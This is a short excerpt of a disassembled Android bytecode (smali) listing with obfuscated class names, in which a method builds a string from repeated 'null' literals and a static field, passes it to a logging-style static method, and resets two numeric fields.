    00083336const-string v0, "null"
    0008333ainvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083340sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083344invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008334aconst-string v0, "null"
    0008334einvoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083354sget-object v0, Lcmf0/c3b5bm90zq/patch/C11;->f:Ljava/lang/String;
    00083358invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0008335econst-string v0, "null"
    00083362invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    00083368invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    0008336emove-result-object v0
    00083370invoke-static {v0}, Lcmf0/c3b5bm90zq/patch/C11;->a(Ljava/lang/String;)V
    00083376const-wide/16 v0, 0x0
    0008337aiput-wide v0, v12, Lcmf0/c3b5bm90zq/patch/C15;->e:D
    0008337eiput-wide v0, v12, Lcmf0/c3b5bm90zq/patch/C15;->d:D
    00083382return-void
    00082fb4